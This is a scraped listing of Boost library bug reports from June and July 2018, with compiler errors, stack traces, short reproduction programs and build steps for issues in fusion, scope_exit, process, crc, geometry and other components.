1>d:\libraries\boost_1_67_0\boost\fusion\container\map\map.hpp(74): note: see reference to function template instantiation 'boost::fusion::detail::map_impl<0,boost::fusion::pair<test_main::test_method::Z,T>>::map_impl<boost::fusion::vector_iterator<Sequence,0>>(const Iterator &,boost::fusion::detail::map_impl_from_iterator)' being compiled
1>        with
1>        [
1>            T=boost::fusion::vector<int,int>,
1>            Sequence=boost::fusion::vector<int,int>,
1>            Iterator=boost::fusion::vector_iterator<const boost::fusion::vector<int,int>,0>
1>        ]
1>d:\libraries\boost_1_67_0\boost\fusion\container\map\map.hpp(73): note: see reference to function template instantiation 'boost::fusion::detail::map_impl<0,boost::fusion::pair<test_main::test_method::Z,T>>::map_impl<boost::fusion::vector_iterator<Sequence,0>>(const Iterator &,boost::fusion::detail::map_impl_from_iterator)' being compiled
1>        with
1>        [
1>            T=boost::fusion::vector<int,int>,
1>            Sequence=boost::fusion::vector<int,int>,
1>            Iterator=boost::fusion::vector_iterator<const boost::fusion::vector<int,int>,0>
1>        ]
1>d:\libraries\boost_1_67_0\boost\fusion\container\generation\make_map.hpp(59): note: see reference to function template instantiation 'boost::fusion::map<boost::fusion::pair<test_main::test_method::Z,T>>::map<boost::fusion::vector<int,int>,void>(const Sequence &)' being compiled
1>        with
1>        [
1>            T=boost::fusion::vector<int,int>,
1>            Sequence=boost::fusion::vector<int,int>
1>        ]
1>d:\libraries\boost_1_67_0\boost\fusion\container\generation\make_map.hpp(59): note: see reference to function template instantiation 'boost::fusion::map<boost::fusion::pair<test_main::test_method::Z,T>>::map<boost::fusion::vector<int,int>,void>(const Sequence &)' being compiled
1>        with
1>        [
1>            T=boost::fusion::vector<int,int>,
1>            Sequence=boost::fusion::vector<int,int>
1>        ]
1>d:\path\to\my_code.cpp(LINE): note: see reference to function template instantiation 'boost::fusion::map<boost::fusion::pair<test_main::test_method::Z,T>> boost::fusion::make_map<test_main::test_method::Z,boost::fusion::vector<int,int>>(const boost::fusion::vector<int,int> &)' being compiled
1>        with
1>        [
1>            T=boost::fusion::vector<int,int>
1>        ]

#13628: boost::intrusive::rbtree::insert_unique() may throw, contrary to what the doc says

anonymous — Fri, 06 Jul 2018 12:07:07 GMT

The doc says:

Throws: Nothing.

but it actually may throw if the comparator throws.

seastar::memory::alloc_failure_injector::fail() at /home/tgrabiec/src/scylla/seastar/util/alloc_failure_injector.cc:38
seastar::memory::alloc_failure_injector::on_alloc_point() at /home/tgrabiec/src/scylla/seastar/util/alloc_failure_injector.hh:65
 (inlined by) seastar::memory::on_alloc_point() at /home/tgrabiec/src/scylla/seastar/util/alloc_failure_injector.hh:121
 (inlined by) managed_bytes::read_linearize() const at /home/tgrabiec/src/scylla/./utils/managed_bytes.hh:141
 (inlined by) managed_bytes::data() const at /home/tgrabiec/src/scylla/./utils/managed_bytes.hh:396
 (inlined by) managed_bytes::operator std::experimental::fundamentals_v1::basic_string_view<signed char, std::char_traits<signed char> >() const at /home/tgrabiec/src/scylla/./utils/managed_bytes.hh:337
 (inlined by) dht::token_view::token_view(dht::token const&) at /home/tgrabiec/src/scylla/dht/i_partitioner.hh:151
 (inlined by) dht::token::operator dht::token_view() const at /home/tgrabiec/src/scylla/dht/i_partitioner.hh:147
 (inlined by) dht::decorated_key::tri_compare(schema const&, dht::decorated_key const&) const at /home/tgrabiec/src/scylla/dht/i_partitioner.cc:191
 (inlined by) dht::decorated_key::less_compare(schema const&, dht::decorated_key const&) const at /home/tgrabiec/src/scylla/dht/i_partitioner.cc:217
 (inlined by) dht::decorated_key::less_comparator::operator()(dht::decorated_key const&, dht::decorated_key const&) const at /home/tgrabiec/src/scylla/dht/i_partitioner.cc:226
memtable_entry::compare::operator()(memtable_entry const&, memtable_entry const&) const at /home/tgrabiec/src/scylla/memtable.hh:99
 (inlined by) boost::intrusive::tree_value_compare<memtable_entry*, memtable_entry::compare, boost::move_detail::identity<memtable_entry>, true>::operator()(memtable_entry const&, memtable_entry const&) const at /usr/include/boost/intrusive/detail/tree_value_compare.hpp:147
 (inlined by) bool boost::intrusive::detail::key_nodeptr_comp<memtable_entry::compare, boost::intrusive::mhtraits<memtable_entry, boost::intrusive::set_member_hook<void, void, void, void>, &memtable_entry::_link>, boost::move_detail::identity<memtable_entry> >::operator()<boost::intrusive::rbtree_node<void*>*, memtable_entry>(boost::intrusive::rbtree_node<void*>* const&, memtable_entry const&, boost::move_detail::enable_if_c<boost::intrusive::detail::key_nodeptr_comp<memtable_entry::compare, boost::intrusive::mhtraits<memtable_entry, boost::intrusive::set_member_hook<void, void, void, void>, &memtable_entry::_link>, boost::move_detail::identity<memtable_entry> >::is_same_or_nodeptr_convertible<boost::intrusive::rbtree_node<void*>*>::value&&(!boost::intrusive::detail::key_nodeptr_comp<memtable_entry::compare, boost::intrusive::mhtraits<memtable_entry, boost::intrusive::set_member_hook<void, void, void, void>, &memtable_entry::_link>, boost::move_detail::identity<memtable_entry> >::is_same_or_nodeptr_convertible<memtable_entry>::value), void>::type*) const at /usr/include/boost/intrusive/detail/key_nodeptr_comp.hpp:100
 (inlined by) std::pair<boost::intrusive::rbtree_node<void*>*, bool> boost::intrusive::bstree_algorithms<boost::intrusive::rbtree_node_traits<void*, false> >::insert_unique_check<memtable_entry, boost::intrusive::detail::key_nodeptr_comp<memtable_entry::compare, boost::intrusive::mhtraits<memtable_entry, boost::intrusive::set_member_hook<void, void, void, void>, &memtable_entry::_link>, boost::move_detail::identity<memtable_entry> > >(boost::intrusive::rbtree_node<void*> const* const&, boost::intrusive::rbtree_node<void*>* const&, memtable_entry const&, boost::intrusive::detail::key_nodeptr_comp<memtable_entry::compare, boost::intrusive::mhtraits<memtable_entry, boost::intrusive::set_member_hook<void, void, void, void>, &memtable_entry::_link>, boost::move_detail::identity<memtable_entry> >, boost::intrusive::insert_commit_data_t<boost::intrusive::rbtree_node<void*>*>&, unsigned long*) at /usr/include/boost/intrusive/bstree_algorithms.hpp:1083
 (inlined by) boost::intrusive::bstree_impl<boost::intrusive::mhtraits<memtable_entry, boost::intrusive::set_member_hook<void, void, void, void>, &memtable_entry::_link>, void, memtable_entry::compare, unsigned long, true, (boost::intrusive::algo_types)5, void>::insert_unique(boost::intrusive::tree_iterator<boost::intrusive::mhtraits<memtable_entry, boost::intrusive::set_member_hook<void, void, void, void>, &memtable_entry::_link>, true>, memtable_entry&) at /usr/include/boost/intrusive/bstree.hpp:1153

#13627: "bcp --namespace=..." misses change in macro for "unordered".

Thu, 05 Jul 2018 17:37:53 GMT

Boost version: 1.67.0

Steps to reproduce given below error message.

Hello,

I'm using bcp to put all of boost under a new namespace. bcp completes ok, but compilation of the new tree gives the following error (repeats several times - first instance shown):

gcc.compile.c++ build/boost/bin.v2/libs/graph/build/gcc-4.8.5/release/threading-multi/read_graphviz_new.o
In file included from ./boost/unordered/detail/set.hpp:6:0,
                 from ./boost/unordered/unordered_set.hpp:20,
                 from ./boost/unordered_set.hpp:17,
                 from ./boost/graph/adjacency_list.hpp:21,
                 from ./boost/graph/graphviz.hpp:24,
                 from libs/graph/src/read_graphviz_new.cpp:50:
./boost/unordered/detail/implementation.hpp:1606:52: error: ‘boost’ has not been declared
         BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE(1, 1, boost)
                                                    ^
./boost/unordered/detail/implementation.hpp:1583:5: note: in definition of macro ‘BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE’
     namespace_::tuple<BOOST_PP_ENUM_PARAMS_Z(z, n, A)> const& x)               \
     ^
./boost/unordered/detail/implementation.hpp:1583:56: error: expected unqualified-id before ‘const’
     namespace_::tuple<BOOST_PP_ENUM_PARAMS_Z(z, n, A)> const& x)               \
                                                        ^
./boost/unordered/detail/implementation.hpp:1606:9: note: in expansion of macro ‘BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE’
         BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE(1, 1, boost)
         ^
./boost/unordered/detail/implementation.hpp:1583:56: error: expected ‘)’ before ‘const’
     namespace_::tuple<BOOST_PP_ENUM_PARAMS_Z(z, n, A)> const& x)               \
                                                        ^
./boost/unordered/detail/implementation.hpp:1606:9: note: in expansion of macro ‘BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE’
         BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE(1, 1, boost)
         ^
./boost/unordered/detail/implementation.hpp:1583:63: error: expected initializer before ‘x’
     namespace_::tuple<BOOST_PP_ENUM_PARAMS_Z(z, n, A)> const& x)               \
                                                               ^
./boost/unordered/detail/implementation.hpp:1606:9: note: in expansion of macro ‘BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE’
         BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE(1, 1, boost)
         ^

Steps to reproduce:

unzip boost_1_67_0.zip >/dev/null
cd boost_1_67_0/
./bootstrap.sh --without-libraries=python
./b2 tools/bcp
mkdir -p ddt
./dist/bin/bcp --namespace=ddtboost bin.v2 boost libs more status tools ddt
cd ddt
./bootstrap.sh --without-libraries=python
./b2 -j4 --build-dir=build --without-python --layout=tagged variant=release link=shared threading=multi runtime-link=shared

Changing the third parameter from boost to ddtboost in the calls to BOOST_UNORDERED_CONSTRUCT_FROM_TUPLE() starting at lines 1606 and 1695 fixed the issue (given my --namespace).

I've attempted to attach a patch file showing the differences, but chances are outstanding I screwed it up.

If I can provide any more info, please let me know.

Thanks Lou

#13626: Growing managed mapped file cause a pointer invalidation

bvbfan@… — Thu, 05 Jul 2018 15:47:47 GMT

#13624: GCC 8.1.1 Error: "Failed to determine builtin floating point type sizes"

simon.michalke@… — Tue, 03 Jul 2018 15:53:30 GMT

Hi,

I received an error telling me to make a bug report here ;) I am using GCC 8.1.1 on OpenSUSE Tumbleweed. The project itself is a huge chunk of cmake spaghetti code so I used a quick @echo to print out the exact command:

/usr/bin/g++ -frounding-math -std=c++11 -Wuninitialized -Wno-error=unused-variable -DBOOST_NO_AUTO_PTR -DBOOST_SYSTEM_NO_DEPRECATED=1 -fopenmp -Wall -ftemplate-depth-100 -frounding-math -Wno-misleading-indentation -Wno-placement-new -Wno-expansion-to-defined -Wno-long-long -Wno-unknown-pragmas -Wno-comment -Wno-address -Wno-error=address -Wno-expansion-to-defined -g

The error I was talking of:

/.../boost_gcc_debug/include/boost/atomic/detail/float_sizes.hpp:139:2: error: #error Boost.Atomic: Failed to determine builtin floating point type sizes, the target platform is not supported. Please, report to the developers (patches are welcome).
 #error Boost.Atomic: Failed to determine builtin floating point type sizes, the target platform is not supported. Please, report to the developers (patches are welcome).

Simon

#13623: scope_exit has broken documentation

Tue, 03 Jul 2018 03:15:15 GMT

The Reference section is empty: https://www.boost.org/doc/libs/1_67_0/libs/scope_exit/doc/html/reference.html

However, through Google I found there are pages that are supposed to be in that section, such as https://www.boost.org/doc/libs/1_67_0/libs/scope_exit/doc/html/BOOST_SCOPE_EXIT.html

This section also seems to be the only place in the docs that mention which .hpp file to include if you want to use this library, so it isn't even possible to use the library with the documentation alone until the Reference section is fixed.

#13622: BOOST_SCOPE_EXIT error : use of undeclared identifier 'boost_se_params_t_*

markus_bonk@… — Fri, 29 Jun 2018 05:20:40 GMT

When compiling with Visual C++ 2017 LLVM-vs2017 toolset (CLang), the following code produces " error : use of undeclared identifier 'boost_se_params_t_8'"

#include <boost/scope_exit.hpp>
template <typename T>
class AClass {
public:
  int function() {
    int handle = 0;
    BOOST_SCOPE_EXIT_TPL(&handle) {
      if (handle) {
        handle = 0;
      }
    } BOOST_SCOPE_EXIT_END;
    return handle;
  }
};
class Derived : public AClass<Derived>
{
};
int main() {
  Derived d;
  return d.function();
}
>Source.cpp(8,5): error : use of undeclared identifier 'boost_se_params_t_8'
1>    BOOST_SCOPE_EXIT_TPL(&handle) {
1>    ^
1>d:\boost.org\boost_1_67_0\boost/scope_exit.hpp(902,9):  note: expanded from macro 'BOOST_SCOPE_EXIT_TPL'
1>        BOOST_SCOPE_EXIT_ID_TPL(BOOST_SCOPE_EXIT_AUX_PP_LINE_COUNTER, \
1>        ^
1>d:\boost.org\boost_1_67_0\boost/scope_exit.hpp(895,9):  note: expanded from macro 'BOOST_SCOPE_EXIT_ID_TPL'
1>        BOOST_SCOPE_EXIT_AUX_IMPL(id, typename, \
1>        ^
1>d:\boost.org\boost_1_67_0\boost/scope_exit.hpp(829,22):  note: expanded from macro 'BOOST_SCOPE_EXIT_AUX_IMPL'
1>                    (BOOST_SCOPE_EXIT_DETAIL_PARAMS_T(id)*)boost_se_params) \
1>                     ^
1>d:\boost.org\boost_1_67_0\boost/scope_exit.hpp(280,5):  note: expanded from macro 'BOOST_SCOPE_EXIT_DETAIL_PARAMS_T'
1>    BOOST_PP_CAT(boost_se_params_t_, id)
1>    ^
1>d:\boost.org\boost_1_67_0\boost/preprocessor/cat.hpp(22,32):  note: expanded from macro 'BOOST_PP_CAT'
1>#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
1>                               ^
1>d:\boost.org\boost_1_67_0\boost/preprocessor/cat.hpp(29,34):  note: expanded from macro 'BOOST_PP_CAT_I'
1>#    define BOOST_PP_CAT_I(a, b) a ## b
1>                                 ^
1><scratch space>(94,1):  note: expanded from here
1>boost_se_params_t_8
1>^
1>Source.cpp(23,12):  note: in instantiation of member function 'AClass<Derived>::function' requested here
1>  return d.function();
1>           ^
1>Source.cpp(8,5): error : expected expression
1>    BOOST_SCOPE_EXIT_TPL(&handle) {
1>    ^
1>d:\boost.org\boost_1_67_0\boost/scope_exit.hpp(902,9):  note: expanded from macro 'BOOST_SCOPE_EXIT_TPL'
1>        BOOST_SCOPE_EXIT_ID_TPL(BOOST_SCOPE_EXIT_AUX_PP_LINE_COUNTER, \
1>        ^
1>d:\boost.org\boost_1_67_0\boost/scope_exit.hpp(895,9):  note: expanded from macro 'BOOST_SCOPE_EXIT_ID_TPL'
1>        BOOST_SCOPE_EXIT_AUX_IMPL(id, typename, \
1>        ^
1>d:\boost.org\boost_1_67_0\boost/scope_exit.hpp(829,59):  note: expanded from macro 'BOOST_SCOPE_EXIT_AUX_IMPL'
1>                    (BOOST_SCOPE_EXIT_DETAIL_PARAMS_T(id)*)boost_se_params) \
1>                                                          ^
1>2 errors generated.

#13619: boost.crc fails to compile with gcc due to undefined behaviour

Tue, 26 Jun 2018 19:11:34 GMT

Boost revision: 62faaa4584e16cd60cd62d5cbb0833954686e89c
Following code is minimal example to reproduce error:

 #include <boost/crc.hpp>
 template class boost::crc_optimal<6,6,6,6,0,0>;
 int main() {}

 $ g++ -std=c++14 -pedantic-errors -I../boost/install-root/include/ -o/dev/null crc-test.cxx
 In file included from ../boost/install-root/include/boost/config.hpp:61:0,
                  from ../boost/install-root/include/boost/crc.hpp:12,
                  from crc-test.cxx:1:
 ../boost/install-root/include/boost/crc.hpp: In instantiation of 'const least boost::detail::mask_uint_t<6ul>::sig_bits':
 ../boost/install-root/include/boost/crc.hpp:356:9:   required from 'const fast boost::detail::mask_uint_t<6ul>::sig_bits_fast'
 ../boost/install-root/include/boost/crc.hpp:915:41:   required from 'boost::crc_optimal<Bits, TruncPoly, InitRem, FinalXor, ReflectIn, ReflectRem>::value_type boost::crc_optimal<Bits, TruncPoly, InitRem, FinalXor, ReflectIn, ReflectRem>::get_interim_remainder() const [with long unsigned int Bits = 6ul; typename boost::uint_t<Bits>::fast TruncPoly = 6u; typename boost::uint_t<Bits>::fast InitRem = 6u; typename boost::uint_t<Bits>::fast FinalXor = 6u; bool ReflectIn = false; bool ReflectRem = false; boost::crc_optimal<Bits, TruncPoly, InitRem, FinalXor, ReflectIn, ReflectRem>::value_type = unsigned char]'
 crc-test.cxx:3:23:   required from here
 ../boost/install-root/include/boost/crc.hpp:350:69: error: left operand of shift expression '(-1 << 6ul)' is negative [-fpermissive]
          BOOST_STATIC_CONSTANT( least, sig_bits = (~( ~(least( 0u )) << Bits )) );
                                                     ~~~~~~~~~~~~~~~~~^~~~~~~~~

GCC produce incorrect message: there is no -Werror options or similar, as you see. Reason is initialization of static constant in declaration in class with expression that is _not_ constant because consists UB(left shift of negative value). '0u' literal is unsigned, but promouted to 'int' when 'least' is 'unsigned char'. Error is reproductable on release 1.67.0. Solution, for example, is make explicit cast of left operand to unsigned integral type. GCC information:

$ g++ -v
Using built-in specs.
COLLECT_GCC=g++
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/6/lto-wrapper
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 6.3.0-18+deb9u1' --with-bugurl=file:///usr/share/doc/gcc-6/README.Bugs --enable-languages=c,ada,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-6 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --enable-default-pie --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-6-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-6-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-6-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --with-target-system-zlib --enable-objc-gc=auto --enable-multiarch --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
Thread model: posix
gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1)

#13618: Support for string_view etc...

stream009@… — Tue, 26 Jun 2018 11:21:50 GMT

Boost String Algorithm doesn't work well with string_view and I think it should work fine. So I wrote wrapper codes around it to make that possible. My original intention was just for a personal use, so it is C++17 and I wasn't strict about compatibility to boost string_algo either.

But having done that, it occurs to me that many things I did are also applicable to the boost string_algo in a way it keeps backward compatibility so it doesn't break exiting code.

I put the code and brief summary of changes at gitlab.com/stream9/string_algo/blob/master/Summary.md (if I put URL, system regard it as spam, so please prepend scheme by yourself). I don't know boost string_algo have plan to make similar improvement. I you do, maybe I can help something.

#13616: "likely" is c++2a-keyword used by gcc 8.1.1 but used as identifier

anonymous — Sun, 24 Jun 2018 08:11:43 GMT

In new C++2a-Specification new attribute-tokens, "likely" and "unlikely", are introduced. In GCC 8.1.1 this proposed feature has already been implemented.

So using GCC8.1.1+ boost (version 1.67) won't compile anymore since "likely" is used as identifier in different header files. For example:

boost/date_time/special_values_parser.hpp:105:17 boost/date_time/time_parsing.hpp:312:19

#13614: padding related issue on VS2017 with boost::endian

imak@… — Thu, 21 Jun 2018 04:51:38 GMT

On Visual Studio 2017 upd3, there seems to be some unexpected padding-related behaviour, shown below. The issue might not necessarily be a library 'bug', but I think it's worth looking at.

Code highlighting:

#include <stdio.h>
#include <boost/endian/arithmetic.hpp>
using namespace boost::endian;
#pragma pack(push, 1)
struct Empty {};
struct T1
{
    big_uint16_t d;
    uint8_t d2;
};
struct T2
{
    uint16_t d;
    uint8_t d2;
};
struct D0: T1 {} x0;          // sizeof(x0) evaluates to 3
struct D1: T1, Empty {} x1;   // sizeof(x1) evaluates to 4  <- i think this should also be 3
struct D2: T2, Empty {} x2;   // sizeof(x2) evaluates to 3
// (uint8_t*)&x1.d2 - (uint8_t*)&x1.d   evaluates to 2 (i.e. big_uint16_t is itself not padded)
//
// - tested with a struct containing a char[2], this did not happen
// - tested on various versions of g++ and clang, but this did not happen either.
#pragma pack(pop)
using namespace std;
int main()
{
    printf("%zu %zu %zu", sizeof(x0), sizeof(x1), sizeof(x2));
    return 0;
}

#13613: gcd performs modulo by zero which is undefined

James E. King, III — Wed, 20 Jun 2018 12:45:53 GMT

Boost.Rational uses Boost.Integer's gcd method. I Added Coverity Scan support to the Boost.Rational build and it identified an issue that needs investigation:

CID 293013 (#4-12 of 12): Division or modulo by zero (DIVIDE_BY_ZERO) divide_by_zero: In function call gcd, modulo by expression 0 has undefined behavior. [hide details]

(rational_test.cpp) 470 BOOST_CHECK_EQUAL( boost::gcd<T>( 0, -9), static_cast<T>( 9) );

(rational.hpp) IntType gcd(IntType n, IntType m) {

Defer to the version in Boost.Integer

divide_arg: n is used as a divisor in function gcd.

return integer::gcd( n, m );

}

#13612: Missing support for move semantic in boost::bimap

piotrzsl@… — Wed, 20 Jun 2018 06:44:56 GMT

And due to that that useful container is slow as hell.

#13610: _env_impl is not reloaded

santa4github@… — Tue, 19 Jun 2018 12:34:48 GMT

In boost/process/detail/posix/environment.hpp native_environment_impl<Char>::reload vector _impl reloaded, but _env_impl set to _impl.data() in constructor and will be invalid after call of reload (after setting of environment for example).

_env_impl = _impl.data(); need to be added to native_environment_impl<Char>::reload

#13607: Asio bad_address_cast fix under no exceptions

kvankooten — Thu, 14 Jun 2018 18:12:21 GMT

When using the Asio module in MSVC when exceptions are disabled, deriving an exception from bad_cast throws a linker error. A simple fix would look similar to the lexical_cast, bad_any_cast, etc.

#13605: Filedescriptor leak in boost::process

4hopp — Thu, 14 Jun 2018 13:27:47 GMT

Hi,

I am using boost 1.64.0 on linux. I am using boost process to execute subprocesses. When, for some reason, the path does not point to a file, or when the file is not executable, then I keep leaking file descriptors.

Minimal example:

#include <boost/process.hpp>
#include <boost/process/extend.hpp>
#include <boost/filesystem.hpp>
#include <boost/asio.hpp>
#include <sys/prctl.h>
int main() {
        namespace bp = boost::process;
        namespace ex = bp::extend;
        system("ls -l /proc/self/fd");
        try {
                boost::asio::io_service ios;
                bp::child process ("/does/not/exist", ios);
                process.wait();
        } catch (const bp::process_error& e) {
                // A process_error has been thrown - there is no file /does/not/exist
        }
        system("ls -l /proc/self/fd");
}

Example output:

total 0
lrwx------ 1 hopp hopp 64 Jun 14 12:04 0 -> /dev/pts/3
lrwx------ 1 hopp hopp 64 Jun 14 12:04 1 -> /dev/pts/3
lrwx------ 1 hopp hopp 64 Jun 14 12:04 2 -> /dev/pts/3
lr-x------ 1 hopp hopp 64 Jun 14 12:04 3 -> /proc/19629/fd
total 0
lrwx------ 1 hopp hopp 64 Jun 14 12:04 0 -> /dev/pts/3
lrwx------ 1 hopp hopp 64 Jun 14 12:04 1 -> /dev/pts/3
lrwx------ 1 hopp hopp 64 Jun 14 12:04 2 -> /dev/pts/3
lr-x------ 1 hopp hopp 64 Jun 14 12:04 3 -> pipe:[82382]
lr-x------ 1 hopp hopp 64 Jun 14 12:04 4 -> /proc/19632/fd

The file descriptor leaked by the example is 3 -> pipe:[82382]. Is this a bug or am I doing something wrong?

#13601: Compiling iterator_range_core.hpp with VS2017 (15.7.1) generates the Warning C5032.

alexander.frank.lehmann@… — Thu, 14 Jun 2018 07:36:33 GMT

This ticket is split off ticket #13595.

When compiling iterator_range_core.hpp with "Microsoft Visual Studio Professional 2017 Version 15.7.1" the warning:

warning C5032: detected #pragma warning(push) with no corresponding #pragma warning(pop) compiling ...

is generated. The warnings come from from this codeline:

iterator_range_core.hpp line 21

20 #if BOOST_WORKAROUND(BOOST_MSVC, BOOST_TESTED_AT(1500))
21     #pragma warning( push )
22     #pragma warning( disable : 4996 )
23 #endif

#13599: condition_variable::timed_wait never returns

steven.cook@… — Thu, 14 Jun 2018 03:04:33 GMT

boost::condition_variable::timed_wait never returns if compiled with -DBOOST_THREAD_HAS_CONDATTR_SET_CLOCK_MONOTONIC.

this_thread::sleep and thread::timed_join exhibit the same problem, but both these functions are documented as deprecated. However condition_variable::timed_wait is not documented as deprecated.

This can be worked around by using condition_variable::wait_for.

The following simple test program demonstrates the problem in that it hangs forever. Removing the #define makes it return after one second.

#define BOOST_THREAD_HAS_CONDATTR_SET_CLOCK_MONOTONIC
#include <boost/thread.hpp>
#include <iostream>
int main( int argc, char* argv[] )
{
    boost::condition_variable cv;
    boost::mutex m;
    boost::mutex::scoped_lock lock( m );
    cv.timed_wait( lock, boost::posix_time::seconds( 1 ) );
    std::cout << "wait_for has returned" << std::endl;
    return 0;
}

#13597: VC++ 15 compiler warning C4244: 'argument': conversion from 'const coordinate_type' to 'const int', possible loss of data

Wed, 13 Jun 2018 13:34:58 GMT

I'm using Microsoft Visual Studio 15.6.0 to compile boost 1.67.0. I use compiler flag /W4 and compile for x64 platform. The following warnings (which we declared an error for our project) occur in geometry:

\boost_1_67_0\boost\geometry\algorithms\detail\expand\point.hpp(73): error C4244: 'argument': conversion from 'const coordinate_type' to 'const int', possible loss of data

\boost_1_67_0\boost\geometry\strategies\cartesian\side_by_triangle.hpp(114): error C4244: 'initializing': conversion from 'coordinate_type' to 'const promoted_type', possible loss of data

\boost_1_67_0\boost\geometry\algorithms\detail\equals\collect_vectors.hpp(91): error C4244: 'initializing': conversion from 'int64' to 'double', possible loss of data

\boost_1_67_0\boost\geometry\strategies\cartesian\intersection.hpp(159): error C4244: 'return': conversion from 'int64' to 'double', possible loss of data

Consider related ticket #10667.

#13594: init_from_settings does not allow repeated calls

PieterB@… — Wed, 13 Jun 2018 09:42:49 GMT

I have an application that causes init_from_settings to be called repeatedly, which does not quite work as I expected. I noticed that this causes memory use to grow, presumably because old sinks are not removed and new sinks are added which each call, which (to me) is unexpected behaviour. I understand that sinks can be removed by calling remove_all_sinks() before (re)initialization, but it would be much nicer when init_from_settings would just configure the logging system 'from scratch' (I am not currently sure that I can fully revert the system to an uninitialized state before calling init_from_settings).

#13593: intersects assertion failure for linestrings in spherical_equatorial coordinates

swordvetal@… — Wed, 13 Jun 2018 09:31:59 GMT

I have found a specific case when boost::geometry::intersects fails with assertion "lhs.denominator() != 0" on linestrings with equal (or very close) segments in spherical_equatorial coordinate system. Here is the test example:

#include <iostream>
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/linestring.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
#include <boost/version.hpp>
int main()
{
    using GeoCoordSystem = boost::geometry::cs::spherical_equatorial<boost::geometry::degree>;
    using GeoPoint = boost::geometry::model::d2::point_xy<double, GeoCoordSystem>;
    boost::geometry::model::linestring<GeoPoint> line1, line2;
    boost::geometry::read_wkt("linestring(11.5800734 48.2523631, 11.580114 48.2524051, 11.5801572 48.2524435)", line1);
    boost::geometry::read_wkt("linestring(11.5800734 48.2523631, 11.580114 48.2524051, 11.5801572 48.2524434)", line2);
    std::cout << "Using boost v" << BOOST_VERSION << std::endl;
    const bool b = boost::geometry::intersects(line1, line2);
    std::cout << "Intersects: " << (b ? "YES" : "NO") << std::endl;
    return 0;
}

Program output is the following:

Using boost v106700
a.out: /opt/Storage/Install/boost_1_67_0/boost/geometry/policies/robustness/segment_ratio.hpp:54: static bool boost::geometry::detail::segment_ratio::less<Type, false>::apply(const Ratio&, const Ratio&) [with Ratio = boost::geometry::segment_ratio<double>; Type = double]: Assertion `lhs.denominator() != 0' failed.
Aborted (core dumped)

The issue is reproducible in both boost v1.63 and latest v1.67.

#13592: command_line_parser(int, char const*[]) throws std::bad_alloc when called with zero arguments

kai.unger@… — Tue, 12 Jun 2018 09:58:32 GMT

boost::program_options::command_line_parser(int, char const*[]) throws std::bad_alloc when called with zero arguments.

Code to reproduce:

#include <boost/program_options.hpp>
int main(int, char const*[])
{
    boost::program_options::command_line_parser fParser(0, nullptr);
}

#13590: Bug in executor::_read_error leads to bad string allocation exception

Mon, 11 Jun 2018 09:15:19 GMT

Method executor::_read_error contains various weaknesses which can lead to string allocation with excessive length, causing exceptions at string construction or out-of-memory issues.

The most severe issue caused by the fact that the method is not prepared for reading fragments from the pipe. As the pipe is not created with O_DIRECT, data can be fragmented. In fact, we observed that ::read returned just 4 bytes, although _write_error is writing 8 bytes. This leaves the second entry of the data[2] array uninitialized(!!), which is afterwards - without any check! - passed directly to the string creation:

std::string msg(data[1], ' '); --> crash as data[1] contains random value

Also the second part of the function, which reads the error message text, is not prepared for reading fragmented data.

Patched code that works well here can be found attached.

#13589: boost_1_55_0 bootstrap mingw failed

Mon, 11 Jun 2018 01:47:06 GMT

command that i used

cd C:\deps\boost_1_55_0\
bootstrap.bat mingw

Error output

Building Boost.Build engine
'gcc' is not recognized as an internal or external command,
operable program or batch file.
Failed to build Boost.Build engine.
Please consult bootstrap.log for furter diagnostics.

bootstrap.log

###
### Using 'mingw' toolset.
###
C:\deps\boost_1_55_0\tools\build\v2\engine>if exist bootstrap rd /S /Q bootstrap
C:\deps\boost_1_55_0\tools\build\v2\engine>md bootstrap
C:\deps\boost_1_55_0\tools\build\v2\engine>gcc -DNT -o bootstrap\jam0.exe  command.c compile.c constants.c debug.c execcmd.c execnt.c filent.c frames.c function.c glob.c hash.c hdrmacro.c headers.c jam.c jambase.c jamgram.c lists.c make.c make1.c object.c option.c output.c parse.c pathnt.c pathsys.c regexp.c rules.c scan.c search.c subst.c timestamp.c variable.c modules.c strings.c filesys.c builtins.c md5.c class.c cwd.c w32_getreg.c native.c modules/set.c modules/path.c modules/regex.c modules/property-set.c modules/sequence.c modules/order.c

#13588: rename lock_sharable and its methods(and mutex methods) in order of concept of std::lock_shared

fsmoke@… — Thu, 07 Jun 2018 08:54:52 GMT

To make compatible with std locks, interprocess shared mutexes and locks classes( and they methods) must be renamed according std SharedMutex concept. see http://en.cppreference.com/w/cpp/concept/SharedMutex.

Example: boost::interprocess::file_lock::lock_sharable to boost::interprocess::file_lock::lock_shared

boost::interprocess::file_lock::unlock_sharable to boost::interprocess::file_lock::unlock_shared

boost::interprocess::file_lock::try_lock_sharable to boost::interprocess::file_lock::try_lock_shared

boost::interprocess::sharable_lock to boost::interprocess::shared_lock

